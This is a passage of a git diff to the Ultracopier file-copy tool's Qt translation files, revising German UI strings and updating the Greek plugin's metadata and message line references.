- <translation>Unfähig, die Plugin-Inhalte zu laden, bitte überprüfen Sie es</translation>
+ <translation>Kann Plugin-Inhalte nicht laden. Bitte überprüfen Sie das</translation>
</message>
</context>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation>Speicherzuordnung fehlgeschlagen</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation>Schreibfehler</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
- <translation>Speicherverbrauch erreicht</translation>
+ <translation>Grenze des Speicherverbrauchs erreicht</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
- <translation>Nicht eine. Xz-Datei</translation>
+ <translation>Keine .xz-Datei</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
- <translation>Nicht unterstützte Optionen in den. Xz-Header</translation>
+ <translation>Nicht-unterstützte Optionen in den .xz-Headern</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation>Die Datei ist beschädigt</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation>Bug!</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation>Die Eingabedaten sind zu kurz</translation>
</message>
@@ -1063,87 +1300,125 @@ seit: %2</translation>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
- <translation>Keine Kopie Zuhörer gefunden. Haben Sie die Kopie manuell durch Rechtsklick auf ein Symbol in der Taskleiste das.</translation>
+ <translation type="unfinished">Keine Kopie-Listener gefunden. Führen Sie die Kopie manuell durch Rechtsklick auf das Symbol im Systray aus.</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
- <translation>Information</translation>
+ <translation type="unfinished">Information</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
- <translation>Suchen Sie Informationen ...</translation>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
+ <translation type="unfinished">Suche Informationen ...</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
- <translation>Nicht fangen die Explorer kopieren/verschieben</translation>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
+ <translation type="unfinished">Explorer:-Kopieren/Verschieben nicht ersetzen</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
- <translation>Semi fangen die Explorer kopieren/verschieben</translation>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
+ <translation type="unfinished">Explorer: Kopieren/Verschieben teilweise ersetzen</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
- <translation>Fangen die Explorer kopieren/verschieben</translation>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
+ <translation type="unfinished">Explorer:-Kopieren/Verschieben ersetzen</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
- <translation>Warnung</translation>
+ <translation type="unfinished">Warnung</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
- <translation>Aktion auf dem Systray-Icon ist nicht bekannt!</translation>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
+ <translation type="unfinished">Die auf dem Systray-Icon angewandte Aktion ist unbekannt!</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
- <translation>Über/Debug Bericht</translation>
+ <translation type="unfinished">&amp;Über/Debug Bericht</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
- <translation>Über</translation>
+ <translation type="unfinished">&amp;Über</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished">Bug-Bericht &amp;speichern</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
- <translation>Verlassen</translation>
+ <translation type="unfinished">&amp;Beenden</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
- <translation>&amp;Optionen</translation>
+ <translation type="unfinished">&amp;Optionen</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
- <translation>Fügen Sie Kopie/Bewegung</translation>
+ <translation type="unfinished">&amp;Kopieren/Verschieben hinzufügen</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished">Neue Version: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished">Hier klicken für Downloadseite</translation>
+ </message>
+ <message>
+ <source>Click here to go to the shop and login.
+Download the new version into the order details</source>
+ <translation type="obsolete">Hier klicken für Shop und Login.
+Download der neuen Version unter: Order Details</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished">&amp;Kopieren</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished">&amp;Transfer</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished">&amp;Verschieben</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
- <translation>hinzufügen Kopie</translation>
+ <translation type="unfinished">Kopie hinzufügen (&amp;C)</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
- <translation>Übertragung hinzufügen</translation>
+ <translation type="unfinished">Über&amp;tragung hinzufügen</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
- <translation>Fügen Sie bewegen</translation>
+ <translation type="unfinished">Verschieben hinzufügen (&amp;M)</translation>
</message>
</context>
</TS>
diff --git a/plugins/Languages/el/flag.png b/plugins/Languages/el/flag.png
index 75e4705..cd96374 100644
--- a/plugins/Languages/el/flag.png
+++ b/plugins/Languages/el/flag.png
Binary files differ
diff --git a/plugins/Languages/el/informations.xml b/plugins/Languages/el/informations.xml
index fa96f3d..2ef2308 100644
--- a/plugins/Languages/el/informations.xml
+++ b/plugins/Languages/el/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to greek. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to greek. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>el</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- =ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/el/translation.ts b/plugins/Languages/el/translation.ts
index d838fb7..b02bb87 100644
--- a/plugins/Languages/el/translation.ts
+++ b/plugins/Languages/el/translation.ts
@@ -4,77 +4,83 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation type="unfinished"></translation>
</message>
@@ -82,396 +88,479 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <source>Cannot find any copy engine with motions support</source>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <source>Cannot find any compatible engine!</source>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <source>This copy engine does not support motions</source>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation type="unfinished"></translation>
</message>
+ <message>
